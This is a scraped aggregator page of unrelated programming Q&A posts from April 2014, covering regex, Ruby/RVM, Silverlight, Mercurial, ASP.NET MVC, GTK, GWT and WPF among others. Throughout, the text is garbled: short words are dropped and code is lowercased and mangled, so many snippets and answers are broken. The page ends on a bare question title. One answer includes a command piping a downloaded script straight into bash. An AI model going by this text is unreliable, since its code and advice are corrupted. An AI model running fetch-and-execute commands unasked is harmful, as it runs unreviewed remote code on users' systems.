Posts

Showing posts from April, 2014

Python regex: Fix one html close tag -

<div>random contents without < or > , has ( ) <div> just need fix closing div tag so looks <div>random contents</div> i need in python regex. the input exact first line, there no < or > in random contents replace (<div>[^<]*<)(div>) with $1/$2 note: bad practice, don't it unless it's absolutely necessary!

How to update Ruby on Ubuntu 10.10? -

apologies in advance if nubs problem. one friend got beginning rails 3 , started playing ruby using (as .net developers!). have installed ubuntu 10.10 on vmware player - apparently had ruby 1.9.2. based on instructions in book (with quirks total linux nubs) managed install ruby 1.9.1 (ruby --version -> ruby 1.9.1p376 (2009-12-07 revision 26041) [i686-linux]). but rails (latest version - 3.0.2 think) insist ruby 1.9.2 better our health! so: how update ruby on ubuntu 10.10? want 1 ruby there. i recommend ruby version manager . install (yes, takes leap of faith): $ curl https://get.rvm.io | bash then $ rvm install 1.9.2 $ rvm use 1.9.2

I need help understanding Silverlight 4 security -

does else think silverlight 4 security bit screwball? look @ following scenario: silverlight when set trusted app, , run out of browser mode allows browse file using file open dialog. you require name of path of file open com automation. example (excel/word) anything. it impossible full path of file dialog because of security restrictions you can using com filesystemobject - ever want users file system, including create folders, move , delete files. so in other words, why fuss security in silverlight, hinders real business use cases, when possible access file anyways using com? to way, if user runs malicious silverlight app, unlikely they'll - oh com @ fault. com afterall being called silverlight app. here mean.... user browses file - c:\myfile.xls silverlight prevents getting path (for security reasons) silverlight lets work documents using com can ever want file system in background anyways. including copying file documents, if knew name! besides can wipe

Windows Compressed Folders avoids Mercurial repo folder .hg -

creating zip file using send -> compressed folder excludes .hg folder on windows 7. same behavior seen in xp. because folder name starts dot ? mercurial creates .hg folder hold repository. whenever working folder zipped, leaves .hg folder out of compressed .zip file. try using 7-zip or archival utility compress files, since windows doesn't filenames starting . .

asp.net mvc - How do I display data from multiple tables in a single MVC view -

i having hard time solving following mvc view. my goal display data multiple tables in single mvc view. bulk of data comes table called retailers. have table called retailercategories stores retailerid retailers table , categoryid linking category table. note there multiple records each retailerid in retailercategories table. in view want show list of retailers , each retailer want show list of categories applicable them. what best way accomplish this? of things have tried covered in can mvc viewmodel issue? this not appear right approach. you need view model tailored needs of view. when defining view models shouldn't thinking in terms of tables. sql tables have absolutely no meaning in view. think in terms of information need show , define view models accordingly. use automapper convert between real models , view model have defined. so forget said tables , focus on following sentence: in view want show list of retailers , each retailer want show

What is the best way to structure an nservicebus solution? -

we're in process of developing service , hr service purposes of user management, we're having trouble deciding best way structure projects. one dev believes project , hr project's should separated in subversion , should use svn externals each messages project? another dev thinks should put them in same subversion project partition services having all.sln, hr.sln, , it.sln splitting them folders. what best way partition these service boundaries? i'm not familiar subversion, typically have done have dependencies between services checked source control post build , branched respective service after. reason done allow each service independently decide when take newer version of shared dependency. using branch operation have full history of dependency , can roll @ time. gives ability ship service different versions of same dependency. in subsequent branches of service can have varying versions of dependency. in case check-in messages assemblies , bra

osx - Fastest Simplest way to use PNG textures in OpenGL -

i looking fastest , easiest way use png (with alpha values) textures in opengl. have tried many different libraries bloated , hard compiled/working on mac. i'm not familiar opengl textures , of "gotchas" putting emphasis on simple. it helpful if give me nice makefile example if solution involves linking library. thanks! you might give soil whirl.

Silverlight Unit Test Framework Rerun Tests -

ok, maybe dumb question , i'm not seeing button...but how rerun checked tests in sl unit testing application ui? i launch unit test app, let run tests.....then can check or uncheck tests when completes....but how rerun checked tests without restarting whole darn thing? don't see button "run selected tests"..... honestly, hope i'm being stupid this. i posted same question on codeplex, got not answer. sent direct email creator of framework, got no answer. this tells me of couple of things: i'm dumb i've missed terribly obvious. no 1 uses silverlight production applications or @ least none require unit testing, no-one knows answer here. microsoft's commitment silverlight , support sub-standard, @ best. i've gotten unlucky in hopes support on matter. that said, found answer myself. in app.xaml.cs: private unittestpage _page; in application_startup: rootvisual = _page = (testpage) unittestsystem.createtestpage(); add

c# - Silverlight: When is a dependency property available? -

i setting dependency property in xaml (silverlight 4): <my:topsearchbar x:name="topsearchbar" grid.row="0" navigator="{binding elementname=navigationframe}" horizontalalignment="stretch" verticalalignment="top" /> i need register navigation events of navigationframe . however, following fails null pointer exception: public topsearchbar() { // required initialize variables initializecomponent(); loaded += new routedeventhandler(topsearchbar_loaded); } void topsearchbar_loaded(object sender, routedeventargs e) { // navigator null navigator.navigated += new navigatedeventhandler(navigated); } when right time register these event handlers? tried doing in property setter, breakpoint never hit: public frame navigator { { return getvalue(navigatorproperty) frame; } set { setvalue(navigatorproperty, value); } } bindings not

serialization - GWT Cannot Serialize My Object from Hibernate -

here error receiving. i've looked everywhere answers , cannot figure out why else isn't running same issue. error happens when i'm retrieving proposal object hibernate has many-to-one constraint user_info on 2 properties, author , advisor. if needed can provide classes , hibernate configs. note, implement isserializeable , have empty constructors...i appreciate advice or help... starting jetty on port 8888 [warn] exception while dispatching incoming rpc call com.google.gwt.user.client.rpc.serializationexception: java.lang.reflect.invocationtargetexception @ com.google.gwt.user.server.rpc.impl.serverserializationstreamwriter.serializewithcustomserializer(serverserializationstreamwriter.java:760) @ com.google.gwt.user.server.rpc.impl.serverserializationstreamwriter.serializeimpl(serverserializationstreamwriter.java:723) @ com.google.gwt.user.server.rpc.impl.serverserializationstreamwriter.serialize(serverserializationstreamwriter.java:612) @ com.google.gwt.user.c

iphone - OpenGL ES: Is it more efficient to turn lights off and on, or just assign emissivity to my particles? -

i'm working on android, , i'm new graphics. i have particles don't want affected lighting. right now, disabling lighting right before draw particles (gl.gldisable(gl10.gl_lighting)), , enabling them again once they're drawn, , continue drawing rest of scene. would more efficient leave lighting on, , set particles emissive? (by calling glmaterialfv( gl_front_and_back, gl_emission, white) right before drawing particles) there's no easy answer here, i'm afraid. anon commenter says, you're best off measuring yourself. bear in mind results hardware-dependent. disabling lighting less work hardware, state change may disrupt processing pipeline such saving negated.

Silverlight Drag and drop for any UIElement? -

i see great deal of writing silverlight 4's support drag , drop. however, files. want make normal user controls draggable. possible, or limited files? you can add drag-and-drop capabilities element of silverlight application - not limited files (this became easier in 4.0). using attached behaviors , drag-and-drop management code should able achieve interaction need. without knowing hope accomplish, best advice go check out projects like: http://silverlightdragdrop.codeplex.com/ and read discussion here: silverlight 4 drag , drop alternatives

debugging - Help for gdb debug crash logging -

i have been debugging in gdb (c code). issue if run application , if crashes, control comes main()(app restarts). hence have no idea crashed. spend lot of time stepping through each function. i know if there anyway log can enabled generate last line of execution before crash. assumption, if there other simpler way of doing please let me know, save great deal of time me! also if gdb generates log path be? thanks in advance. this question little unclear me, i'll take stab: if have gdb attached crashing process when crashes, crash should stop program , put @ (gdb) prompt. if type bt , should see stack. if not have gdb attached, this answer related question might help. (in short, maybe want system create core dump when program crashes. core dump file contains lot of information crashed process. can use gdb core dump see stack.) if don't know, post see on screen when happens, , we'll guess. in case, program should not start on @ main(). seems wort

javascript - Is there a JQuery plugin for the Kens Burns effect? -

i want simple plugin... not slideshow plugin have 1 div, , 1 image. i want image move within div (left/right, top/down), not have white space showing. naturally, image bigger div, allowing effect happen. yes there is! : http://tobia.github.com/crossslide/ 1

how to stop vim moving javascript object keys to column 0 -

when typing javascript object literals, such as: foo = { bar: baz }; vim thinks "bar:" c-style label , moves column 0. how stop this? try :set cinkeys-=: . label indentation cannot controlled cinoptions . quote :help indent vim puts line in column 1 if: it starts '#' (preprocessor directives), if 'cinkeys' contains '#'. it starts label (a keyword followed ':', other "case" , "default"). any combination of indentations causes line have less 0 indentation. (emphasis mine) however, cinkeys specifies keys trigger reindenting in insert mode. removing : cinkeys , vim no longer reindent on inserting : . but aware manual re-indenting via = will still break layout.

ipad sending api for sms trough email -

i need app send mail becomes sms, in order api isp (internet service provider), need generate following ftp> https://smsgw.exetel.com.au/sendsms/api_sms.php ? username=xxxxxxxx&password=xxxxxxxx&mobilenumber=xxxxxxxx&message=x xxxxxxx&sender=xxxxxxxxx&messagetype=text&referencenumber=xxxxxx so, whats best way generate ftp (with out going browser, or automatically doing it) to send email becomes sms? the have command bulk sms> bulk sms sending example request: //smsgw.exetel.com.au/sendsms/api_sms.php? username=xxxxxxxx&password=xxxxxxxx&mobilenumber=xxxxxxxx&message=x xxxxxxx&sender=xxxxxxxxx&messagetype=text&referencenumber=xxxxxx thank you! to generate url, have tried concatenating strings? shortcuts in objective-c concatenate nsstrings for loading url, have tried nsurl? http://borkware.com/quickies/one?topic=nsurl

regex - Regular Expression to parse hostname from URL in C#? -

hey i'm curious how parse out host name in url using regular expressions in c#. i have following regex: regex regexurl = new regex("://(?<host>([a-z\\d][-a-z\\d]*[a-z\\d]\\.)*[a-z][-a-z\\d]+[a-z])"); but throws error when url not contain "http://", , not parse out "www." part of url. so how code function parses out "hostname.com" url, if not contain "http://". :) i wouldn't use regular expressions. convert 'http://' '' (empty string) in string - removes http:// if it's there split string on / array the hostname element @ index 0

c - How to get avoid assertion failure when loading gtk About dialog box? -

i've programmed software gui using glade , gtk. main window has about button. when click on button first time, gtkaboutdialogbox runs perfectly. action area correctly bound events. when close , tries again open dialog ( without quiting main window ), nothing comes up. , additionally system thows (tut:5424): glib-gobject-warning **: invalid unclassed pointer in cast `gtkdialog' (tut:5424): gtk-critical **: ia__gtk_dialog_run: assertion `gtk_is_dialog (dialog)' failed (tut:5424): glib-gobject-warning **: invalid unclassed pointer in cast `gtkwidget' (tut:5424): gtk-critical **: ia__gtk_widget_destroy: assertion `gtk_is_widget (widget)' failed to shell. wrong code? //tut.c //gcc -o tut tut.c $(pkg-config --cflags --libs gtk+-2.0 gmodule-2.0) #include <gtk/gtk.h> gtkbuilder *builder; gtkwidget *window,*window_cnb; gtkaboutdialog *abtwindow; gtklabel *label; gerror *error = null; void on_about_clicked() { gtk_dialog_run( gtk_dialog(abtwindow)

java - Changing a tabs content inside a tab -

i'm having problems tabs in android. first of create tabs this: tabhost = gettabhost(); search = tabhost.newtabspec("search").setindicator("search").setcontent(new intent(this,search.class)); mealplan = tabhost.newtabspec("mealplan").setindicator("mealplan").setcontent(new intent(this,search.class)); shoppinglist = tabhost.newtabspec("shoppinglist").setindicator("shoppinglist").setcontent(new intent(this,search.class)); settings = tabhost.newtabspec("settings").setindicator("settings").setcontent(new intent(this,newuser.class)); tabhost.addtab(search); tabhost.addtab(mealplan); tabhost.addtab(shoppinglist); tabhost.addtab(settings); now want have ability change content of tab inside tab. example if im in search tab (the default start-tab) want programically change content of search instant effect. earlier starting new activities activitygroup ended giving m

what is the difference between QString::sprintf and QString::arg in Qt? -

qstring documentation in http://doc.qt.io/qt-5/qstring.html#arg says one advantage of using arg() on sprintf() order of numbered place markers can change, if application's strings translated other languages, each arg() still replace lowest numbered unreplaced place marker, no matter appears. what meaning of this? can please explain example? say start with: qstring format("%1: %2 %3); then call: format.arg("something"); format be: "something: %1 %2" ...meaning can build string go. changing order of place markers possible through qt's translation mechanism, allows say: format = tr("hi, %1, hope %2"); and add translation table , have parameters in different order different languages.

.net - count controls of type A under the mouse in WPF -

Image
i have custom panels on canvas, there b panels, how can count panels located mouse cursor actually? i know achieved visualtreehelper.hittest , didn't have chance, returns elements on custom panels or nothing @ all... this code <usercontrol x:class="wpfapplication7.usercontrol1"> <grid> <label content="label" height="44" horizontalalignment="left" name="label1" verticalalignment="top" fontsize="20" fontweight="bold" width="78" background="#ff4b9fc4" borderbrush="#ff020a0d" borderthickness="1" /> </grid> </usercontrol> <window x:class="wpfapplication7.mainwindow" previewmouseleftbuttondown="window_previewmouseleftbuttondown" xmlns:my="clr-namespace:wpfapplication7"> <grid> <my:usercontrol1 horizontalalignment="left" margin="82,88,0,0"

asp.net - Instantiate a Silverlight control in an HTTP Handler,...Possible? -

i have http handler in asp.net project , wanted produce image based upon silverlight user control rendered out bitmap. however, in processrequest , when try instantiate xaml control, following exception.... {"the type initializer 'ms.internal.jolthelper' threw exception."} ... following stacktrace ... at ms.internal.jolthelper.get_threadid() @ ms.internal.xcpimports.checkthread() @ system.windows.dependencyobject..ctor(uint32 nativetypeindex, intptr constructdo) @ system.windows.controls.usercontrol..ctor() @ casecard..ctor() in c:!working_folder\trunk\proactive\proactive.ui\casecard.xaml.vb:line 6 @ servicelocator.getcard() in c:!working_folder\trunk\proactive\proactive.ui\servicelocator.vb:line 20 @ proactive.host.imagegeneratorhandler.processrequest(httpcontext context) in c:!working_folder\trunk\proactive\proactive.host\app_code\imagegeneratorhandler.cs:line 10 @ system.web.httpapplication.cal

java - Refresh adding an extra parameter -

i need refresh webpage, in refresh request want add parameter, have though in like: <c:url value="currenturl" var="newurl"> <c:param name="newparam" value="newvalue"/> </c:url> <a href="${newurl}">refresh</a> how can currenturl params (for instance http://localhost:8080/mywebapp?param1=var1&param2=var2 ) of request implicit objects of jsp. have though in ${pagecontext.request.requesturl}, returns url of jsp, not request url. thanks if jsp has been forwarded, can original request url ${requestscope['javax.servlet.forward.request_uri']} , original request query string ${requestscope['javax.servlet.forward.query_string']} . you can way find overview of "hidden" forward attributes here , here .

Passing MSBuild Parameters to Web.config XDT Transformation -

i need pass parameters should used during xdt transformation of web application projects. creating multiple web.(configuration).config not enough me. is there anyway ? you use detokenise task (from msbuild extension pack http://www.msbuildextensionpack.com/ ). this allow perform token replacement in config transformation files (web.[configuration].config) prior running transform task.

language agnostic - What are callback methods? -

i'm programming noob , didn't quite understand concept behind callback methods. tried reading in wiki , went on head. can please explain in simple terms? the callback pass function, tells should call @ point in operation. code in function decides when call function (and arguments pass). typically, way pass the function itself 'callback', in languages functions objects. in other languages, might have pass kind of special thing called "function pointer" (or similar); or might have pass name of function (which gets looked @ runtime). a trivial example, in python: void call_something_three_times(what_to_call, what_to_pass_it): in xrange(3): what_to_call(what_to_pass_it) # write "hi mom" 3 times, using callback. call_something_three_times(sys.stdout.write, "hi mom\n") this example let separate task of repeating function call, task of calling function. that's not useful, demonstrates concept. in real world, callback

Can PHP work with all flavours of SQL? -

i have worked mysql, have recieved spec contract requires site build in asp.net in order read , write data sql database. do have this? or misinformation? can still work in php , have access sql database? php supports major sql databases. see this list .

how to learn frameworks of android -

i want learn modify , compile source, need learn,can give link or sample , on, know need learn frameworks knowledge,how , learn you can download source source.android.com , start doing things it. provided have super system monster resources, can play source. and regarding changes, there various things inside source, lots of xml files, lots of images, drawables.. lots java code , c code too. might need modify drivers , kernels too. there's 1 compiled source of info, android documentation itself, little buggy. apart this, can ask google problems. all in all, didn't find resource, during work, serves sole source of information. since see lots of resources, collective knowledge of of them in end. this area still quite poorly documented. things should comprehensible, , understandable keep working it.

iphone - How to deploy an ad-hoc distribution (ipa file) or how to synchronize iTunes with devices -

i'm using ad-hoc distribution deploy app on different devices. created *.ipa file , dragged onto itunes. under "apps" selected app , dragged onto device. worked 1 time. now if try again red serrated circle one in appears when dragging app onto device. i'm doing wrong? i have add mac i'm using development machine. tried replace *.ipa file same result. tried on different devices. same problem ... edit: on ipad ios 4.2.1 worked 1 time. on ipad (same capabilities ios 4.2.1) not. upgrading newer ios on other devices should not relevant. i'll try zip + mobileprovision method. no perhaps problem first synchronization tooks place on computer (apple uses binding between itunes , computer) , not 1 i'm using. i believe found problem: select device in itunes click on "apps" on top (where music, pictures etc is) activate "synchronize apps" confirm synchronization of apps select app click on "apply" (on righ

Write a java getBonusPercentage() method to return an employee's bonus plus salary -

any assistance in completing java class below appreciated - permanent employee paid hour @ fixed hourly rate. may or may not qualify bonus - if don't qualify bonus percentage should set 0 if qualify bonus must greater 0 lest 5 if incorrect value percentage entered percentage should set 0 , error message printed. bonus calculated on salary , added it. here's have far (extended employee superclass) - public class permanentemployee extends employee { private double permanentemployeebonus; public permanentemployee(string firstname, string lastname, double hourlyrate, double permanentemployeebonus) { super(firstname, lastname, hourlyrate); setpermanentemployeebonus(permanentemployeebonus); } public double getpermanentemployeebonus() { return permanentemployeebonus; } public void setpermanentemployeebonus(double permanentemployeebonus) { //if user input valid, update managerial bonus newly inputted value. if(permanentemployeebonus > 0)

perl - Moose structured types -

i'd create structured type in moose can used type moose attribute. example, i'd able create name attribute has own value , error attributes. i therefore know best way of achieving this. have created working example defining simple moose class represent generic field object. has value , error attributes. have created moose class person object. has id , name attributes, both of of type field : define generic field object: package myapp::type::field; use moose; use namespace::autoclean; has 'value' => ( => 'rw' ); has 'error' => ( => 'rw', isa => 'str' ); __package__->meta->make_immutable; 1; define person object uses field object: package myapp::person; use moose; use namespace::autoclean; use myapp::type::field; has 'id' => ( => 'rw', isa => 'myapp::type::field' ); has 'name' => ( => 'rw', isa => 'myapp::type::field'

c++ - What is the Windows equivalent for en_US.UTF-8 locale? -

if want make following work on windows, correct locale , how detect present: does code work universaly, or system? basically, out of luck: http://www.siao2.com/2007/01/03/1392379.aspx

mvvm - Silverlight View exporting DependencyProperty to ViewModel via MEF -

i have need of 1 dependencyproperty view in viewmodel constructor: my problem: mef wouldn't satisfyimports() 'because marked 1 or more exportattributes' (that exception) this code structure view: public class myview : usercontrol { [export(methodtypes.charttype)] public charts mycharttype { { object k = getvalue(charttypeproperty); charts f = (charts)enum.parse(typeof(charts), k.tostring(), true); return f; } set { setvalue(charttypeproperty, value); } } [import(viewmodeltypes.genericchartviewmodel)] public object viewmodel { set { datacontext = value; } } public myview() { initializecomponent(); if (!viewmodelbase.isindesignmodestatic) { // use mef load view model compositioninitializer.satisfyimports(this); } } } and viewmodel:

c++ - Multi Pointer X (MPX) support -

i'm wondering how multiple pointers should/could handled high level application. i'm interested how mpx (multi pointer x - xorg) works. gui libraries support it? it seems latest versions of qt , gtk should support it, cannot find demo, tutorial or documentation. experimental support mpx in gtk+ can found here . since that's work in progress, documentation scarce still might started. there's documentation mpx here . note existing applications using 1 pointer able run unchanged on mpx-aware server. if want app take advantage of multiple pointers, you'll need call gdk_enable_multidevice() before gtk_init() , handle per-device enter/leave events , grabs.

c++ - how to implement a queue of char array -

i want use container of stl use buffer, defined this: typedef queue<char*> charqueue; then charqueue p; then did operations like: p.push("mouse"); p.push("horse"); but want queue of char array of 256 bytes in order hold data. can define this: typedef unsigned char newtype[256] queue<newtype> newqueue; i'm using unsigned char in order hold data don't want change. put in buffer , retrieve again. otherwise if has implementation i'll thankful. for queue of raw data things, define typedef unsigned char byte; typedef std::vector<byte> bytevector; typedef std::queue< bytevector > dataqueue; for queue of character strings, std::queue< std::string > others have suggested fine by way, all_uppercase_names best reserved macros cheers & hth.,

ruby on rails - Setting up Vagrant to mirror a heroku instance -

i ramping on vagrant , wondering if there walkthrough / recipe vagrant instance , running mirror heroku bamboo stack (lenny 5.0 ree-1.8.7) i stuck on first step of trying find lenny box. thanks guys, jonathan if you're targeting heroku's cedar stack, can try vagrant-heroku . i'm not sure options exist aspen , bamboo, suspect may exist.

wpf - Can we concat two properties in data binding? -

can concat 2 properties in binding expression? if possible without converter or without writing 2 textblocks , setting them individually? like alpha-mouse suggests multibinding won't work out of box, guy has thrown might help: http://www.olsonsoft.com/blogs/stefanolson/post/improvements-to-silverlight-multi-binding-support.aspx if seems bit rogue, maybe try putting combined value property on object helper binding mechanism, like: public string fullname { { return this.firstname + " " + this.lastname; } }

c# - How to draw a screenshot "preview" window? -

Image
i have winforms application user uses take region based screenshot. want have small preview pane, i'm not sure how it. far tried recreating bitmap on mouse move , way laggy usable. thought if used pre-defined image (screenshot of whole screen) , moved inside picturebox based off mouse location zoomed in @ screen (to select precise pixels want take screenshot easier). i'm not sure how can implement this, pretty new drawing show have now. private void falsedesktop_mousemove(object sender, mouseeventargs e) { zoombox.image = showzoombox(e.location); zoombox.invalidate(); } private image showzoombox(point curlocation) { int x = 0; int y = 0; if (curlocation.x - 12 <= 0) { x = curlocation.x - 12; } else { x = curlocation.x; } if (curlocation.y - 11 <= 0) { y = curlocation.

documentation - Do you capitalize the name of a function/keyword when it starts a sentence? -

maybe better on englishoverflow, pertain software. there may objectively correct answer. if writing case sensitive language, , first word of sentence function,keyword,etc, capitalize it? instance, consider sentence: strok c function used tokenize string. vs. strok c function used tokenize string. i go option 1, looks out of place when sentence part of larger paragraph. perhaps real solution write case-insensitive languages! leave case alone (changing case makes big difference, after all) format keyword: the next sentence contains example. strtok c function used tokenize string. the next sentence contains example. strtok c function used tokenize string. the next sentence contains example. strtok c function used tokenize string. the next sentence contains example. strtok c function used tokenize string. the next sentence contains example. strtok c function used tokenize string. edit: include full set of examples. preference (3).

oracle - How should SOA - based application architecture look like? -

if want create application based on webservices osb serve - should it's architecture? ie. if use oracle soa suite, create webservices bussiness (talk db etc.), put them on osb (oracle service bus). if i'd want create app (webapp) utilize services, how shoud create project? war gui , logic, separate jar ejb? thanks if understand question, you're looking how structure web application calls osb web services. no different web application calling other web service. you shouldn't need ejbs that, rather can invoke web services directly java via jax-ws or mechanism. for guidelines on structuring application .ear, see http://java.sun.com/blueprints/code/projectconventions.html or application server's documentation.

ssh - How to clone GIT repository with private key -

i trying create application clone git repository computer. question how clone secured repository if ssh keys not in default place. i want let people upload keys , keys connect , clone repository. so conclude: not want git key on default places, want 'give' path key file, , put in command (along passphrase if there any) somehow , cloned repository. thank in advance! it's not git looking, ssh. need specify keys in .ssh/authorized_keys file, public key btw. private key stored on users machine.

mysql - ActiveRecord scope to find records created today? -

this has got easy thing do, think rail's timezone implementation throwing off work... how can create scope in rails 3 (and ruby 1.9.2) query records created today? currently, i'm doing this: scope :today, lambda { where("created_at >= ? , created_at <= ?", date.today.beginning_of_day, date.today.end_of_day) } and doesn't appear working should. want "today" represent 24 hour period 12am 11:59pm user's local timezone. need convert date utc or something? you need consider user's timezone. is, beginning of day , end of day in user's timezone. that, first parse current time in user's timezone. can set zone user's timezone , calculation or can parse time directly using variation of following code. timezone = current_user.timezone # mountain time (us & canada) users_current_time = activesupport::timezone[timezone].parse(time.now.to_s) users_current_time.beginning_of_day , users_cur

c++ - X11/Xlib: Create "GlassPane"-Window -

i've tried create transparent window using c++ & x11. should not consume events , forwards them windows below. kind of glasspane it's known java-windows, full screen. i'd draw on window. is somehow possible x11? my first attempt ignoring events, copy image root window using xgetimage() ... first of all, quite slow window need full screen. xshmgetimage unfortunately isn't option here. for sure, window wouldn't need decoration, isn't big problem. how using x11 / xlib only? if it's not possible, else need? any appreciated! ps: xinerama activated compiz , if brings problems live deactivating them. you can create output-only window setting input shape empty. the api xfixessetwindowshaperegion() , can set shapeinput separately shapebounding . xfixescreateregion() used region pass in. then need rgba (with-alpha-channel) visual can draw transparent pixels of window. a compositing window manager required in order transparenc

list - Can I count on order being preserved in a Python tuple? -

i've got list of datetimes want construct time segments. in other words, turn [t0, t1, ... tn] [(t0,t1),(t1,t2),...,(tn-1, tn)] . i've done way: # start sorting list of datetimes mdtimes.sort() # construct tuples represent possible start , end dates # left edges dtg0 = [x x in mdtimes] dtg0.pop() # right edges dtg1 = [x x in mdtimes] dtg1.reverse() dtg1.pop() dtg1.sort() dtsegs = zip(dtg0,dtg1) questions... can count on tn-1 < tn (tn-1,tn) after i've created them way? (is ordering preserved?) is practice copy original mdtimes list list comprehensions? if not how should done? the purpose constructing these tuples iterate on them , segment data set tn-1 , tn . reasonable approach? i.e. datasegment = [x x in bigdata if ( (x['datetime'] > tleft) , (x['datetime'] < tright))] thanks tuple order insert values tuple. they're not going sorted think you're asking. zip again, retain order inserted values in. it

code readability - C#: Extension methods and the Not operator Best Practice -

i have array of strings , wish find out if array not contain string. can use not operator (!) in conjunction contains method so: if (!stringarray.contains(searchstring)) { //do } the not operator (!) might overlooked when scanning code wondering if considered bad practice create extension method in attempt enhance readability: public static bool doesnotcontain<t>(this ienumerable<t> source, t value) { return !source.contains<t>(value); } so code read: if (stringarray.doesnotcontain(searchstring)) { //do } is sort of thing frowned upon? keep !. comment above line readability. (i suspect ! more efficient) //if word not in array then... another point whether dead-set on using array? there (that may or may not know about) called hashset . if sole purpose examine whether or not string in list, looking @ set arithmetic. unless using array other finding out whether term in or not, try using hashset ...much faster.

javascript - How can I determine the direction of a jQuery scroll event? -

i'm looking effect: $(window).scroll(function(event){ if (/* magic code*/ ){ // upscroll code } else { // downscroll code } }); any ideas? check current scrolltop vs previous scrolltop var lastscrolltop = 0; $(window).scroll(function(event){ var st = $(this).scrolltop(); if (st > lastscrolltop){ // downscroll code } else { // upscroll code } lastscrolltop = st; });

WPF/Silverlight Interview Questions? -

what kind of questions expect know during interview job doing wpf/silverlight development? entry level strong .net 2.0 background & willing learn! explain dependency properties? what's style? what's template? binding differences between base classes: visual, uielement, frameworkelement, control visual vs logical tree? property change notification (inotifypropertychange , observablecollection) resourcedictionary - added a7an usercontrols - added a7an difference between bubble , tunnel routing strategies - added carlo xaml mid-level routed events & commands converters - added artur carvalho explain wpf's 2-pass layout engine? how implement panel? interoperability (wpf/winforms) blend/cider - added a7an animations , storyboarding clickonce deployment skinning/themeing custom controls how can worker threads update ui? datatemplate vs hierarchicaldatatemplate itemscontrol vs itemspresenter vs contentcontrol vs contentpresenter

c# - SSIS Transform Component: Large Scale Data Storage -

i'm developing ssis transform component need store contents of incoming data stream , output data @ later point in time. large number of records many fields (of data type). for example, type of storage needed if developing 'sort' component, cannot output single record until records have been input. my question - recommended practice storing temporary data? microsoft , codeplex examples i've seen trivial in use in-memory structures. avoid this, seem bad idea when working large data sets. is there mechanism in ssis library this? [okay, looks there not] i'm considering few options: store data on disk in stream, keeping record offsets stream in memory. during output phase, i'll use these offsets locate desired record. store data in ado or oledb data source of user's choosing. other suggestions? no - there no 3rd-party accessible "buffering" mechanism exposed in api. you're responsible yourself, including paging disk or w

.net - Add icon to WPF TreeViewItem at runtime -

there many samples demonstrating in xaml, such following: <treeviewitem> <treeviewitem.header> <stackpanel orientation="horizontal"> <image source="..."/> <textblock>hello</textblock> </stackpanel> </treeviewitem.header> </treeviewitem> but need in runtime code - purpose of treeview show files , folders on computer. so i'm not sure how work header in code: each f in directory.getfiles() dim icon = system.drawing.icon.extractassociatedicon(f.fullname) dim name string = f.name dim item new treeviewitem item.header = ... next can demonstrate concept please? edit: think i'm getting it, should use horizontal stackpanel 2 separate controls - textblock , image. right approach? . here sample code how should start. understand first, , make appropriate change meet need. code written in c# , xaml. hope you'll understand c# , able convert bas

java - HashMap of HashMaps traversal -

in java, i'm trying retrieve hashmap<string, object> has object is: hashmap<string, object> . i implemented recursive function returns either hashmap<string, object> found given key, or null if key wasn't found. here function: public static hashmap<string, object> gethashmap(hashmap<string, object> map, string key) { (map.entry<string, object> entry : map.entryset()) { if (entry.getvalue().getclass().getname() == "java.util.hashmap") { if (entry.getkey() == key) return (hashmap<string, object>) entry.getvalue(); return gethashmap((hashmap<string, object>) entry.getvalue(), key); } } return null; } it works first item. how traverse hashmap of hashmaps? better approach? instead of returning value here: return gethashmap((hashmap<string, object>) entry.getvalue(), key); you want first check if not n

Silverlight Combobox setting selected item to selected item of a datagrid -

i able bind combo box selected item of row selected in datagrid. want able through xaml only. what binding syntax required combobox bind selected item of data grid? thx this should work: <sdk:datagrid itemssource="{binding items}" x:name="mygrid" height="100" verticalalignment="top"/> <combobox x:name="results" margin="0,100" selecteditem="{binding selecteditem, elementname=mygrid, mode=twoway}" itemssource="{binding items}"> </combobox> you bind selected item of combo box selected item of data grid. done via elementname. hope helps. tj

javascript - Is there a performance impact to using the jQuery $() operator many times? -

is there significant difference if construct jquery object around element once or many times? instance: var jel = $(el); $.each(myarray, function() { jel.addclass(this); } versus: $.each(myarray, function() { $(el).addclass(this); } i know there other ways write might sidestep issue, question whether should work $(el) once, or if irrelevant. example contrived. bonus points explaining $(el) behind scenes. i know theoretically more work being done, don't know whether matters... if jquery caches or browsers @ second request or whatever, not worth it. fyi: relevant jquery api link here (which provide because $() isn't easiest thing google for): http://api.jquery.com/jquery/#using-dom-elements also worth including useful link: http://www.artzstudio.com/2009/04/jquery-performance-rules/ , several of points center around saving, chaining, , selecting well. yes, there performance impact. in first example, 1 instance created. in second, instan

Convert PHP array to JSON tree -

i have got array in format: array( array('id' => 1, 'parent_id' => null, 'name' => 'lorem ipsum'), array('id' => 2, 'parent_id' => 1, 'name' => 'lorem ipsum1'), array('id' => 3, 'parent_id' => 1, 'name' => 'lorem ipsum2'), array('id' => 4, 'parent_id' => 2, 'name' => 'lorem ipsum3'), array('id' => 5, 'parent_id' => 3, 'name' => 'lorem ipsum4'), array('id' => 6, 'parent_id' => null, 'name' => 'lorem ipsum5'), ); i have convert array json object style: var json = { id: "1", name: "loreim ipsum", data: {}, children: [{ id: "2", name: "lorem ipsum1", data: {}, children: [{ id: "3",

Java: prevent beep sound on key press -

i have java program launched browser, running various java.awt.button buttons. when clicked, it's fine. when key pressed corresponds button, windows makes "default beep" sound. the buttons created this: import java.awt.gridlayout; import java.awt.borderlayout; import java.io.*; import java.awt.panel; import java.awt.button; import java.awt.font; import java.awt.event.*; import java.lang.integer; public class buttonpne extends panel implements actionlistener, constants { private pclient parent = null; private labelpne buttonlabel[] = new labelpne[8]; private panel buttonpanel[] = new panel[8]; public button thebuttons[] = new button[8]; private boolean buttonstatus[] = new boolean[8]; public buttonpne(pclient c) { parent = c; this.setlayout(new gridlayout(1, 8, 1, 0)); (int = 0; < 8; i++) { buttonlabel[i] = new labelpne(parent); buttonlabel[i].setsize(9, 9); thebuttons[i]

pattern matching - Indexing Service Query Language returning more items than expected -

we're using indexing service query language (a.k.a. dialect 2) , following query, @taxcategory "\areas\technology\" , @xmlconfigid = 14 it unexpectedly matches following 2 items instead of first: technology technology, media & entertainment we expected ending slash constrain search item; appears grab having given text @ beginning of string. how write queries target first , second items independently? update: content indexed indexing service this: <ekttaxcategory>#eksep# \areas\technology #eksep#</ekttaxcategory> and <ekttaxcategory>#eksep# \areas\technology, media & entertainment#eksep#</ekttaxcategory> respectively. because substring #eksep# appears @ end of we're seeking, seen example of indexed items in question, ended solving issue using query: @taxcategory "\areas\technology#eksep#" , @xmlconfigid = 14 we considered using unix style pattern matching in query , period . stri

php - Problem with my registration form. Not inserting second query -

